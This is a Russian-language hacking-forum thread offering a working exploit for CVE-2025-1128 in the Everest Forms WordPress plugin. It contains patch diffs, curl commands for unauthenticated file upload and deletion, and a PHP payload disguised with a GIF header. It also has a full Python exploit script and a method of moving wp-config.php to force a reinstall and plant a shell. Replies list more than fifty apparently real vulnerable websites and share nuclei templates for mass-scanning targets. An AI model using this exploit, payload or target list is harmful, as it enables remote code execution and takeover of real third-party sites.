• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Everest Forms WordPress Plugin CVE-2025-1128 exploit

xargs

Quad Robber
Пользователь
Регистрация
21.02.2024
Сообщения
265
Реакции
241
Автор xargs
Источник https://xss.pro/threads/134115/


На днях мне на почту пришла рассылка от wordfence в которой была новость:

100,000 WordPress Sites Affected by Arbitrary File Upload, Read and Deletion Vulnerability in Everest Forms WordPress Plugin​

https://www.wordfence.com/blog/2025...nerability-in-everest-forms-wordpress-plugin/

На момент написания последняя версия плагина 3.0.9.5
Мы тестили 3.0.9.4 и 3.0.9.3
Абуз конфига (ниже) в 3.0.9.3 остальное актуально для 3.0.9.4

Конечно же код эксплойта никто не опубликовал, и тут мы решили провести свое исследование.
Скачали нужные версии плагинов, посмотрели что за патчи выходили.
Дифнули сорцы, вот код:

Diff:
diff -u everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php everest-forms3095/includes/abstracts/class-evf-form-fields-upload.php

@@ -1114,6 +1114,7 @@
                        if ( $proper_filename || ! $ext || ! $type ) {
                                evf()->task->errors[ $form_data['id'] ][ $field_id ] = esc_html__( 'File type is not allowed.', 'everest-forms' );
                                update_option( 'evf_validation_error', 'yes' );
+                               wp_die( 'File type is not allowed' );
                        }
 
                        // Allow third-party integrations.
============================================================================================================================
diff -u everest-forms3094/includes/evf-core-functions.php everest-forms3095/includes/evf-core-functions.php

@@ -4728,14 +4728,30 @@
                        break;
                case 'date':
                        if ( 'range' === $mode ) {
+                               $datetime_value = apply_filters( 'everest_forms_time_date_format', $datetime_value );
                                $selected_dates = explode( ' to ', $datetime_value );
                                if ( count( $selected_dates ) >= 2 ) {
-                                       $datetime_start = "$selected_dates[0] 00:00";
-                                       $datetime_start = gmdate( 'Y-m-d H:i', strtotime( $datetime_start ) );
-                                       $date_time      = new DateTime( $selected_dates[1] );
-                                       $date_time->modify( '+23 hour' );
-                                       $datetime_end              = $date_time->format( 'Y-m-d H:i' );
-                                       $datetime_arr[ $entry_id ] = array( $datetime_start, $datetime_end );
+                                       if ( count( $selected_dates ) >= 2 ) {
+                                               $start_date = DateTime::createFromFormat( $date_format, $selected_dates[0] );
+                                               if ( $start_date === false ) {
+                                                       evf_get_logger()->debug( print_r( "Invalid start date format: {$selected_dates[0]}", true ) );
+                                               }
+                                               $start_date->setTime( 0, 0 );
+                                               $datetime_start = $start_date->format( 'Y-m-d H:i' );
+
+                                               $end_date = DateTime::createFromFormat( $date_format, $selected_dates[1] );
+                                               if ( $end_date === false ) {
+                                                       evf_get_logger()->debug( print_r( "Invalid end date format: {$selected_dates[1]}", true ) );
+                                               }
+                                               $end_date->modify( '+23 hours' );
+                                               $datetime_end = $end_date->format( 'Y-m-d H:i' );
+
+                                               $datetime_arr[ $entry_id ] = array( $datetime_start, $datetime_end );
+                                       }
+                               }else{
+                                       if ( !empty($datetime_value) && ! is_array ( $datetime_value) ) {
+                                               $datetime_arr[ $entry_id ] = $datetime_value ;
+                                       }
                                }
                        } else {
                                $selected_dates = explode( ', ', $datetime_value );
@@ -4753,6 +4769,7 @@
                        break;
                case 'date-time':
                        if ( 'range' === $mode ) {
+                               $datetime_value = apply_filters( 'everest_forms_time_date_format', $datetime_value );
                                $selected_dates = explode( ' to ', $datetime_value );
                                if ( count( $selected_dates ) >= 2 ) {
                                        $datetime_start            = gmdate( 'Y-m-d H:i', strtotime( $selected_dates[0] ) );


============================================================================================================================
diff -u everest-forms3093/includes/abstracts/class-evf-form-fields-upload.php everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php

@@ -1198,8 +1198,7 @@
         */
        protected function generate_file_info( $file ) {
                $dir = $this->get_form_files_dir();
-
-               $file['tmp_path'] = trailingslashit( $this->get_tmp_dir() ) . $file['file'];
+               $file['tmp_path'] = trailingslashit( $this->get_tmp_dir() ) . sanitize_file_name($file['file']);
                $file['type']     = 'application/octet-stream';
                if ( is_file( $file['tmp_path'] ) ) {
                        $filetype     = wp_check_filetype( $file['tmp_path'] );
============================================================================================================================
diff -u everest-forms3093/readme.txt everest-forms3094/readme.txt

+* Fix                          - Sanitization filename issue in temporary path.
============================================================================================================================


и увидели что вся бага крутиться вокруг:
Код:
wp_die( 'File type is not allowed' );
Которого не было, он то и позволял грузить файл даже когда скрипт ругался. Чуть далее наглядно будет.

Основной абстрактный класс плагина: everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php
Интересные моменты: Хуки

PHP:
public function add_ajax_events() {
        $ajax_events = array(
            'upload_file',
            'remove_file',
        );

        foreach ( $ajax_events as $ajax_event ) {
            add_action( 'wp_ajax_everest_forms_' . $ajax_event, array( $this, $ajax_event ) );
            add_action( 'wp_ajax_nopriv_everest_forms_' . $ajax_event, array( $this, $ajax_event ) );
        }
    }


Смотрим функцию remove_file - она позволяет удалить любой файл в временной папке даже если ты ноубади.
Как и функция upload_file позволяет загрузить файл даже если форма не предназначена для загрузки, но загрузить можно не любые форматы.
Вообще это так себе затея, потому как запись на диск и удаление очень ресурсоемкие операции, особенно удаление, по этой причине не только лишь все крупные сервисы никогда не удаляют ваши фоточки итд а просто их перестают отображать и то далеко не всегда, прямые линки на фото зачастую остаются рабочие.
А это значит потенциально мы можем убивать диски на таргетах.
функция create_dir/get_tmp_dir она будет создавать в папках index.html мешающий листингу директорий на серверах где это включено.

Создаем форму без загрузки файлов.

1.png


Обузим AJAX хуки:
2.png

Код:

Код:
curl --path-as-is -i -s -k -X POST \
    -H "Content-Type: multipart/form-data" \
    -F "action=everest_forms_upload_file" \
    -F "form_id=87" \
    -F "field_id=qweasd" \
    -F "file=@1.txt;type=text/plain" \
    "https://TARGET/wp-admin/admin-ajax.php"

Все что нам нужно знать это form_id=87 файл загружается в wp-content/uploads/everest_forms_uploads/tmp/
Содержимое файла:

PHP:
GIF56a
<?php
var_dump(1337);
phpinfo();
exit();
Первая строка GIF56a обходит проверку содержимого.

Удаление файла index.html
3.png

Код:
curl -X POST -d "action=everest_forms_remove_file&file=index.html&form_id=90&field_id=qweasd" https://TARGET/wp-admin/admin-ajax.php
ну или любого другого файла...

Поковыряв форму загрузки в BurpSuite обнаружили что можно манипулировать параметрами.
JSON:
[{"file":"067babc1eac8bbac3f5b9af84e03f73a.txt","name":"1.txt"}]

4.png



К сожалению загружать файлы мы можем в специальную папку путь к которой нам не известен, так же как и имя генерируется с “солью”, но мы можем манипулировать расширением.
Для автоматизации был написан эксплойт.

5.png


Так же мы можем вызвать ошибку, если сервер их отображает:

6.png



И наконецто самая жирная бага это то что мы можем перенести файл wp-config.php что позволит нам запустить новую установку WordPress!!
7.png

Новая установка позволит нам вписать свои кредсы для конекта к удаленной БД, позволит создать нам нового админа, зайти в админку и через редактирование тем/плагинов загрузить шелл/плагин, восстановить старый конфиг который перенесло в wp-content/uploads/everest_forms_uploads//90-0095f2ab26ce26f21ddddb372dfad99e/EXPLOIT-EXPLOIT-EXPLOIT-c2ce6b2a3476635a0592ae41de59ac78-1.php и вернуть прежнее состояние сайта но уже скомпроментировав его.

Но есть пару моментов: файл wp-config-sample.php должен быть не удален, без него установка не запуститься а сам файл после установки умные админы могут удалить ну и конечно же нужны права на файлы, чтоб веб-сервер работал от пользователя, например www-data и файлы были тоже www-data.

8.png


Итог:
Уязвимость очень специфическая потому как для абуза конфига нужно чтоб на таргете была форма загрузки файлов, для временных файлов подходит любая форма из плагина без файлов.

Код эксплойта:
Эксплоит умеет собирать информацию по форме, обнаруживать поля обязательные для заполнения, запрашивает что ввести нужно.

Python:
import requests
from bs4 import BeautifulSoup
import re
import sys
import json

def get_form_data(form_url):
    session = requests.Session()
    response = session.get(form_url)
    if response.status_code != 200:
        print(f"Ошибка: {response.status_code}")
        return None, None, None, None, None, None, None
 
    soup = BeautifulSoup(response.text, 'html.parser')
    form = soup.find('form', class_='everest-form')
 
    if not form:
        print("Форма с классом 'everest-form' не найдена.")
        return None, None, None, None, None, None, None
 
    form_data = {}
    required_fields = {}
    hidden_fields = {}
    file_upload_fields = {}
 
    for field in form.find_all(['input', 'select', 'textarea']):
        name = field.get('name')
        value = field.get('value', '')
        field_type = field.get('type', 'text')
        is_required = field.has_attr('required')
        is_hidden = field_type == 'hidden'
        is_file_upload = 'dropzone-input' in field.get('class', []) and not is_hidden
     
        if name:
            if is_hidden:
                hidden_fields[name] = value
            elif is_file_upload:
                file_upload_fields[name] = value
            else:
                form_data[name] = value
                if is_required:
                    required_fields[name] = value
 
    user_input_data = {}
    if required_fields:
        print("\nВведите значения для обязательных полей:")
        for field_name in required_fields.keys():
            user_input_data[field_name] = input(f"Введите значение для {field_name}: ")
 
    cookies = session.cookies.get_dict()
    return form_data, required_fields, hidden_fields, file_upload_fields, cookies, session, user_input_data

def upload_file(wp_url, file_upload_fields, cookies, session):
    for name in file_upload_fields:
        match = re.match(r'(everest_forms_)(\d+)_(.+)', name)
        if not match:
            print(f"Не удалось разобрать имя поля: {name}")
            continue
     
        _, form_id, field_id = match.groups()
        form_id = int(form_id)
     
        files = {
            'file': ('1.txt', b'GIF56a\n<?php\nvar_dump(1337);\nphpinfo();\nexit();', 'text/plain')
        }
     
        data = {
            'action': 'everest_forms_upload_file',
            'form_id': str(form_id),
            'field_id': field_id
        }
     
        url = f"{wp_url}/wp-admin/admin-ajax.php"
        response = session.post(url, data=data, files=files, cookies=cookies)
     
        if response.status_code == 200:
            try:
                response_json = response.json()
                uploaded_file = response_json.get("data", {}).get("file")
                if uploaded_file:
                    print(f"Файл успешно загружен: {uploaded_file}")
                    return uploaded_file, name
            except json.JSONDecodeError:
                print("Ошибка: Не удалось разобрать JSON-ответ сервера.")
        print(f"Ошибка загрузки файла. Код ответа: {response.status_code}")
        return None, None

def move_uploaded_file(form_url, form_data, hidden_fields, required_fields, file_upload_fields, uploaded_file, uploaded_field, user_input_data, cookies, session):
    custom_file = input(f"Использовать загруженный файл {uploaded_file} или указать свой? (y/n): ")
    if custom_file.lower() == 'n':
        uploaded_file = input("Введите имя файла для отправки: ")
 
    full_form_data = {**hidden_fields, **form_data, **required_fields, **user_input_data}
 
    if uploaded_field:
        full_form_data[uploaded_field] = json.dumps([{"file": uploaded_file, "name": "EXPLOIT-EXPLOIT-EXPLOIT.php"}])
 
    print("\nСформированные данные для отправки:", json.dumps(full_form_data, indent=4, ensure_ascii=False))
    confirm = input("Отправить форму? (y/n): ")
    if confirm.lower() == 'y':
        response = session.post(form_url, files={k: (None, v) for k, v in full_form_data.items()}, cookies=cookies)
        print("\nФорма отправлена. Код ответа:", response.status_code)
    else:
        print("Отправка отменена пользователем.")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Использование: python script.py <wp_url> <form_url>")
        sys.exit(1)
 
    wp_url = sys.argv[1]
    form_url = sys.argv[2]
 
    form_data, required_fields, hidden_fields, file_upload_fields, cookies, session, user_input_data = get_form_data(form_url)
 
    if file_upload_fields:
        uploaded_file, uploaded_field = upload_file(wp_url, file_upload_fields, cookies, session)
        if uploaded_file:
            move_uploaded_file(form_url, form_data, hidden_fields, required_fields, file_upload_fields, uploaded_file, uploaded_field, user_input_data, cookies, session)

requirements.txt
Код:
requests
beautifulsoup4
Установка зависимостей
Код:
pip install -r requirements.txt


Если вам понравилось, поддержите наши исследования и мы сможем продолжать радовать вас новыми находками. Так же мы можем пентестить ваши проэкты web/linux/windows.
Специально для xss.pro
BTC:
bc1qxu27qct444s8gzsl9q7qa76ccpzkw5jkhl563x

Ссылки по теме:
https://www.wordfence.com/threat-in...cated-arbitrary-file-upload-read-and-deletion
https://github.com/wpeverest/everest-forms/pull/1406/files
https://github.com/wpeverest/everest-forms/commit/7d37858d2c614aa107b0f495fe50819a3867e7f5
 
Последнее редактирование модератором:
Баг восхитителен! Удивляюсь когда под качественными тех. темами 0 коментариев и тестов.

Всё просто, Буквально как 3..2..1 RCE.
Путь к фаилам плагина: /wp-content/uploads/everest_forms_uploads/
1. Удаляем index.html на директиву выше :
Screenshot_2025-03-07_06-44-49.png

2. Видим имя временной директивы 90-*************, удаляем index.html и в ней:
Screenshot_2025-03-07_06-45-58.png

3. Видим название нашего фаила. Открываем:
Screenshot 2025-03-07 at 06-58-06 PHP 8.2.26 - phpinfo().png


Для тестов:
Код:
 https://aquaplantscare.uk/wp-content/plugins/everest-forms/readme.txt
 https://atfoodculture.co.nz/wp-content/plugins/everest-forms/readme.txt
 https://bialetti.co.za/wp-content/plugins/everest-forms/readme.txt
 https://darjeelingteagarden.com/wp-content/plugins/everest-forms/readme.txt
 https://edifyworldschoolsdehradun.com/wp-content/plugins/everest-forms/readme.txt
 https://green-ways.co.za/wp-content/plugins/everest-forms/readme.txt
 https://ibettnails.com/wp-content/plugins/everest-forms/readme.txt
 https://iisdt.in/wp-content/plugins/everest-forms/readme.txt
 https://indiangloriousnursery.com/wp-content/plugins/everest-forms/readme.txt
 https://isieindia.com/wp-content/plugins/everest-forms/readme.txt
 https://liquorhutpv.com/wp-content/plugins/everest-forms/readme.txt
 https://longcha.ru/wp-content/plugins/everest-forms/readme.txt
 https://marine.metos.com/wp-content/plugins/everest-forms/readme.txt
 https://petsuppliessussex.com/wp-content/plugins/everest-forms/readme.txt
 https://plcomputers.in/wp-content/plugins/everest-forms/readme.txt
 https://pqcosmetics.com/wp-content/plugins/everest-forms/readme.txt
 https://redmoments.in/wp-content/plugins/everest-forms/readme.txt
 https://rockonrocks.co.za/wp-content/plugins/everest-forms/readme.txt
 https://shopcaribe.com/wp-content/plugins/everest-forms/readme.txt
 https://sofastudio.ca/wp-content/plugins/everest-forms/readme.txt
 https://sophia-jobridal.co.uk/wp-content/plugins/everest-forms/readme.txt
 https://southwind-bd.com/wp-content/plugins/everest-forms/readme.txt
 https://teapro.co.uk/wp-content/plugins/everest-forms/readme.txt
 https://teepartystudio.com/wp-content/plugins/everest-forms/readme.txt
 https://tynancoffeeandtea.com/wp-content/plugins/everest-forms/readme.txt
 https://uprivareptiles.com/wp-content/plugins/everest-forms/readme.txt
 https://vkperfumestore.com/wp-content/plugins/everest-forms/readme.txt
 https://www.antiochca.gov/wp-content/plugins/everest-forms/readme.txt
 https://www.aquanatureonline.com/wp-content/plugins/everest-forms/readme.txt
 https://www.artidellospettacolo-performingarts.com/wp-content/plugins/everest-forms/readme.txt
 https://www.asliayurveda.com/wp-content/plugins/everest-forms/readme.txt
 https://www.bodyfuelindia.com/wp-content/plugins/everest-forms/readme.txt
 https://www.cappzaspizza.com/wp-content/plugins/everest-forms/readme.txt
 https://www.escom.mw/wp-content/plugins/everest-forms/readme.txt
 https://www.expandgh.com/wp-content/plugins/everest-forms/readme.txt
 https://www.flowerpowerdesign.com/wp-content/plugins/everest-forms/readme.txt
 https://www.highlandetc.co.nz/wp-content/plugins/everest-forms/readme.txt
 https://www.iemai3d.com/wp-content/plugins/everest-forms/readme.txt
 https://www.isanmate.com/wp-content/plugins/everest-forms/readme.txt
 https://www.kkgardens.com/wp-content/plugins/everest-forms/readme.txt
 https://www.lenapharmacy.com/wp-content/plugins/everest-forms/readme.txt
 https://www.midwestmarinesupplies.com/wp-content/plugins/everest-forms/readme.txt
 https://www.miraclesbakery.com/wp-content/plugins/everest-forms/readme.txt
 https://www.nieldelia.com/wp-content/plugins/everest-forms/readme.txt
 https://www.oxygenbicycles.com/wp-content/plugins/everest-forms/readme.txt
 https://www.paymints.io/wp-content/plugins/everest-forms/readme.txt
 https://www.polkadotkenya.com/wp-content/plugins/everest-forms/readme.txt
 https://www.questcoffee.com.au/wp-content/plugins/everest-forms/readme.txt
 https://www.s-c-nutrition.com/wp-content/plugins/everest-forms/readme.txt
 https://www.vmone.in/wp-content/plugins/everest-forms/readme.txt
 https://www.winwickmum.co.uk/wp-content/plugins/everest-forms/readme.txt
 https://www.znzelectronics.cz/wp-content/plugins/everest-forms/readme.txt
 https://zd-artjewellery.com/wp-content/plugins/everest-forms/readme.txt
 
xargs FantasticExploits
Подскажите пожалуйста как можно находить ссылку на class everest-form, прошелся пауком и не находит
Похоже проверять код ответа при uri /wp-content/plugins/everest-forms/readme.txt / /wp-admin/admin-ajax.php на 200
 
Последнее редактирование:
xargs FantasticExploits
Подскажите пожалуйста как можно находить ссылку на class everest-form, прошелся пауком и не находит
Ищем плагин, можно детктить через наличие спецефичных js:
Код:
ls assets/js/admin
admin.js                   deactivation-feedback.js                        evf-clipboard.js            extensions.js                    progressbar.min.js           tool-import-entries.min.js
admin.min.js               deactivation-feedback.min.js                    evf-clipboard.min.js        extensions.min.js                randomColor.js               tools.js
chart.js                   editor.js                                       evf-enhanced-select.js      form-builder.js                  randomColor.min.js           tools.min.js
chart.min.js               editor.min.js                                   evf-enhanced-select.min.js  form-builder.min.js              settings.js                  upgrade.js
customize-controls.js      everest-forms-survey-polls-quiz-builder.js      evf-file-uploader.js        form-template-controller.js      settings.min.js              upgrade.min.js
customize-controls.min.js  everest-forms-survey-polls-quiz-builder.min.js  evf-file-uploader.min.js    form-template-controller.min.js  shortcode-form-embed.js
customize-preview.js       evf-admin-email.js                              evf-setup.js                printThis.min.js                 shortcode-form-embed.min.js
customize-preview.min.js   evf-admin-email.min.js                          evf-setup.min.js            progressbar.js                   tool-import-entries.js
путь: wp-content/plugins/everest-forms/assets/js/admin/
Можешь брать любой evf-* или everest-* js для детекта например.
пример:https://pn-marisa.go.id/wp-content/plugins/everest-forms/assets/js/admin/

А дальше ходим по сайту в поисках формы: например, view-source:https://aquaplantscare.uk/contact/ много форм именно в contact, contact-us etc

Код:
<div class="everest-forms">
<div class="evf-container default" id="evf-686">
<form id="evf-form-686" class="everest-form" data-formid="686" data-ajax_submission="0" data-keyboard_friendly_form="0" method="post" enctype="multipart/form-data" action="/contact/"><div class="evf-field-container"><input type="hidden" id="_wpnonce686" name="_wpnonce686" value="1428484f3d" /><input type="hidden" name="_wp_http_referer" value="/contact/" /><div class="evf-frontend-row" data-row="row_1" conditional_rules="[]"><div class="evf-frontend-grid evf-grid-1" data-grid="grid_1"><div id="evf-686-field_name-container" class="evf-field evf-field-text form-row validate-required" data-required-field-message="This field is required." data-field-id="name"><label class="evf-field-label" for="evf-686-field_name"><span class="evf-label">Name</span> <abbr class="required" title="Required">*</abbr></label><input type="text" id="evf-686-field_name" class="input-text" name="everest_forms[form_fields][name]" required></div><div id="evf-686-field_email-container" class="evf-field evf-field-email form-row validate-required validate-email" data-required-field-message="Please enter a valid email address." data-field-id="email"><label class="evf-field-label" for="evf-686-field_email"><span class="evf-label">Email</span> <abbr class="required" title="Required">*</abbr></label><input type="email" id="evf-686-field_email" class="input-text" name="everest_forms[form_fields][email]" required ></div><div id="evf-686-field_44fhTiGI42-1-container" class="evf-field evf-field-url form-row" data-field-id="44fhTiGI42-1"><label class="evf-field-label" for="evf-686-field_44fhTiGI42-1"><span class="evf-label">Order Number</span> </label><input type="url" id="evf-686-field_44fhTiGI42-1" class="input-text" name="everest_forms[form_fields][44fhTiGI42-1]"  ></div><div id="evf-686-field_subject-container" class="evf-field evf-field-text form-row validate-required" data-required-field-message="This field is required." data-field-id="subject"><label class="evf-field-label" for="evf-686-field_subject"><span class="evf-label">Subject</span> <abbr class="required" title="Required">*</abbr></label><input type="text" id="evf-686-field_subject" class="input-text" name="everest_forms[form_fields][subject]" required></div><div id="evf-686-field_message-container" class="evf-field evf-field-textarea form-row" data-field-id="message"><label class="evf-field-label" for="evf-686-field_message"><span class="evf-label">Message</span> </label><textarea id="evf-686-field_message" class="input-text" name="everest_forms[form_fields][message]"  ></textarea></div></div></div><div class="evf-frontend-row" data-row="row_2" conditional_rules="[]"><div class="evf-frontend-grid evf-grid-1" data-grid="grid_1"><div id="evf-686-field_IWX5HFxv2j-18-container" class="evf-field evf-field-recaptcha form-row" data-field-id="IWX5HFxv2j-18"><div class="evf-recaptcha-container " style="display:block"><div class="g-recaptcha" data-sitekey="6LfRVlUUAAAAAEpyEbmV8wn1A37TPjdJZ81RvecA"></div></div></div></div></div></div><div class="evf-honeypot-container evf-field-hp"><label for="evf-686-field-hp" class="evf-field-label">Website</label><input type="text" name="everest_forms[hp]" id="evf-686-field-hp" class="input-text"></div><div class="evf-submit-container " ><input type="hidden" name="everest_forms[id]" value="686"><input type="hidden" name="everest_forms[author]" value="1"><input type="hidden" name="everest_forms[post_id]" value="719"><button type='submit' name='everest_forms[submit]' class='everest-forms-submit-button button evf-submit ' id='evf-submit-686' value='evf-submit' data-process-text="Processing…" conditional_rules='&quot;&quot;' conditional_id='evf-submit-686'  id="evf-submit-686" aria-live="assertive">Submit</button>
</div></form></div><!-- .evf-container --></div>
 
Последнее редактирование:
FantasticExploits, поему по-умолчанию на apache серверах (в боевых условиях), если отсутсвует index.html или index.php, то выводится ошибка 403. в целях защиты чтобы не показыать листинг дериктории. так что удаление файла index.html мало чем поможет. нужны редкие конфигурация где выставлено разрешение показывать содержимое дериктории (при отсутствии индексного файла) . или я что-то путаю?
 
FantasticExploits, поему по-умолчанию на apache серверах (в боевых условиях), если отсутсвует index.html или index.php, то выводится ошибка 403. в целях защиты чтобы не показыать листинг дериктории. так что удаление файла index.html мало чем поможет. нужны редкие конфигурация где выставлено разрешение показывать содержимое дериктории (при отсутствии индексного файла) . или я что-то путаю?
все верно, но довольно часто встречаются сервера на которых включено и прописано индексирование.
 
Для тестов:
Код:
 https://aquaplantscare.uk/wp-content/plugins/everest-forms/readme.txt
 https://atfoodculture.co.nz/wp-content/plugins/everest-forms/readme.txt
 https://bialetti.co.za/wp-content/plugins/everest-forms/readme.txt
  ...
Да, баг шикарен!
А как добыли "Для тестов" список WP да ещё конкретно с everest-forms плагином, если не секрет?
(ну может метод какой простой есть всмысле не нудный скан httpx или ещё чем-то по списку доменов в надежде что WP)
Оно что-то не особо доркается по inurl:"wp-content/plugins/everest-forms" - гугль выдаёт 3 странички всего, что в общем-то ожидаемо.
 
Да, баг шикарен!
А как добыли "Для тестов" список WP да ещё конкретно с everest-forms плагином, если не секрет?
(ну может метод какой простой есть всмысле не нудный скан httpx или ещё чем-то по списку доменов в надежде что WP)
Оно что-то не особо доркается по inurl:"wp-content/plugins/everest-forms" - гугль выдаёт 3 странички всего, что в общем-то ожидаемо.
Как вариант при поиске плагинов в WP, использовать nuclei,плагины добавляйте какие угодно :


Код:
id: wordpress-plugins-detect
info:
  name: WordPress Plugins Detection
  author: nucleixivanovich
  severity: high
  tags: wordpress

http:
  - method: GET
    path: 
      - "{{BaseURL}}/wp-content/plugins/{{plugin}}/readme.txt"
    headers:
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/7.1.8 Safari/537.85.17

    redirects: false

    attack: batteringram
    threads: 50
    payloads:
      plugin:
        - everest-forms
        - contact-form-7
        - wordpress-seo
        - elementor
        - all-in-one-wp-migration
        - updraftplus
        - all-in-one-seo-pack
        - duplicator
        - essential-addons-for-elementor-lite
        - optinmonster
        - w3-total-cache
        - redux-framework
        - ninja-forms


    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "== Description =="

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - "===\\s(.*)\\s===" # extract the plugin name
          - "(?mi)Stable tag: ([0-9.]+)" # extract the plugin version
 
Как вариант при поиске плагинов в WP, использовать nuclei,плагины добавляйте какие угодно
За готовый шаблон спасибо!
В принципе nuclei тут это "overkill" хватит и httpx тех же авторов - projectdiscovery.io ;-)
Однако вопрос был: откуда доменные имена с WP список был взят? :) я находил списки конечно, но нигде не смог скачать "всеобъемлющий" ну типа все домены где (а из него уже можно по зонам TLD или ещё как вынимать)
 
За готовый шаблон спасибо!
В принципе nuclei тут это "overkill" хватит и httpx тех же авторов - projectdiscovery.io ;-)
Однако вопрос был: откуда доменные имена с WP список был взят? :) я находил списки конечно, но нигде не смог скачать "всеобъемлющий" ну типа все домены где (а из него уже можно по зонам TLD или ещё как вынимать)
Не знаю кто как, но мой путь "протекал" от собранных доменов + subfinder.
Затем пришел к alterx + httpx
Подьехал и dnsx.

Но тут месяц назад залезла идея о переборе subdomain + wappalayzer с помощью nuclei ( мне показалось это лучше в работе, нежели httpx -td в связке с subfinder
Код:
http:

  - method: GET

    path:

      - '{{Scheme}}://{{subdomains}}.{{Host}}'


    headers:

      User-Agent: Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F69 Safari/600.1.4


    payloads:

      subdomains:

        - www

        - mail

        - ftp

        - coin
# тут расширять на столько,сколько есть желания ждать.

    attack: clusterbomb

  

    max-size: 500

    host-redirects: true

    max-redirects: 2

    matchers-condition: or

    matchers:



      - type: regex

        name: wordpress

        part: body         

        regex:

          - '<link[^>]+s\d+\.wp\.com'

          - '<!-- This site is optimized with the Yoast (?:WordPress )?SEO plugin v([\d.]+) -'

          - '<!--[^>]+WP-Super-Cache'

        condition: or


      - type: word

        name: wordpress

        part: body     

        words:

          - '/wp-content/themes/'

          - '/wp-includes/'

          - 'name="generator" content="wordpress'

          - '<!-- performance optimized by w3 total cache. learn more: http://www.w3-edge.com/wordpress-plugins/'

        condition: or

А так, я думаю только "извращаясь" и изобретая.
На то мы и не стоим у станка на заводе. ( до обеда там, только как всегда никому не скажем )

===
UP
===
Забыл написать, что тут все равно httpx или httprobe придется запускать.
И еще у меня постоянные траблы были на серверах kali с httpx (из-за одноименного софта и слётом GOROOT в tmux) -> заменил все в докер (для тех кто как и я гумманитарий -> https://projectdiscovery.io/blog/how-to-run-nuclei-other-projectdiscovery-tools-in-docker ) - работает отлично, и раскладывается быстро вся инфраструктура.
 
Последнее редактирование:
За готовый шаблон спасибо!
В принципе nuclei тут это "overkill" хватит и httpx тех же авторов - projectdiscovery.io ;-)
Однако вопрос был: откуда доменные имена с WP список был взят? :) я находил списки конечно, но нигде не смог скачать "всеобъемлющий" ну типа все домены где (а из него уже можно по зонам TLD или ещё как вынимать)
Я паршу при помощи а-парсер уже оч давно и в принципе всем доволен. Список вп с плагином собирал при помощи nuclei просто по ответу /wp-content/plugins/everest-forms/readme.txt. Это не точно, но для пополнения темы хватило. Litara_B в соседнем топике предлагает (https://xss.pro/threads/135542/) собрать ссылки за тебя, неупускай случай ;-)
 
Последнее редактирование:
Я паршу при помощи а-парсер уже оч давно и в принципе всем доволен. Список вп с плагином собирал при помощи nuclei просто по ответу /wp-content/plugins/everest-forms/readme.txt. Это не точно, но для пополнения темы хватило. Litara_B в соседнем топике предлагает (https://xss.pro/threads/135542/) собрать ссылки за тебя, неупускай случай ;-)
вопрос был не про эту CVE даже, вопрос был откуда домены (список) на которых уже детектить WP (или другая CMS) и плагины или ещё чего интересное.
я видел компании которые продают списки доменов как вообще всех (на момент) так и по зонам, но цены там ай-яй (тысячи k$), естественно пробовал их ломануть, но (пока) не вышло.
вопрос где "материал" брать, мне даже не WP надо, а другое, я знаю КАК и ЧТО мне надо детектить, шаблон могу написать, но я не знаю ГДЕ детектить (список на вход) чтобы был максимальный "выхлоп", а не весь интернет все домены лопатить вечность.
вот списки IP получить по AS'кам и даже по организациям или провайдерам это как нефиг делать через suip.biz или bgp.he.net - надо что-то подобное для доменов найти бы.
почему именно домены: потому что vhosts ещё есть и несколько сайтов могут на одном IP быть, ломаешь один до RCE, потом privesc, - и ты получаешь там вообще всё-всё!
 
вопрос был не про эту CVE даже, вопрос был откуда домены (список) на которых уже детектить WP (или другая CMS) и плагины или ещё чего интересное.
я видел компании которые продают списки доменов как вообще всех (на момент) так и по зонам, но цены там ай-яй (тысячи k$), естественно пробовал их ломануть, но (пока) не вышло.
вопрос где "материал" брать, мне даже не WP надо, а другое, я знаю КАК и ЧТО мне надо детектить, шаблон могу написать, но я не знаю ГДЕ детектить (список на вход) чтобы был максимальный "выхлоп", а не весь интернет все домены лопатить вечность.
вот списки IP получить по AS'кам и даже по организациям или провайдерам это как нефиг делать через suip.biz или bgp.he.net - надо что-то подобное для доменов найти бы.
почему именно домены: потому что vhosts ещё есть и несколько сайтов могут на одном IP быть, ломаешь один до RCE, потом privesc, - и ты получаешь там вообще всё-всё!
Обычно для детекта какой-то конкретной цмс используют "дорки" , поисковую выдачу. Понимаю, что это оффтоп, но если хочешь можешь написать название цмс я помогу тебе составить дорки для поиска тем-же а-парсером. Можешь пойти альтернативным путём просканить 0.0.0.0-225.225.225.0 на 80/443, собрать список ответов с открытых портов и уже распарсить эти ответ, проблема в том что это упрётся во время если ты будешь делать это со своего пк, придётся распределять задачу по множеству машин , это путь сервисов по типу шодан. Не знаю где ты взял тысячи к долларов за базу, но условный https://en.fofa.info/ собрал такую базу и обновляет ее за условные пару сотен долларов.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх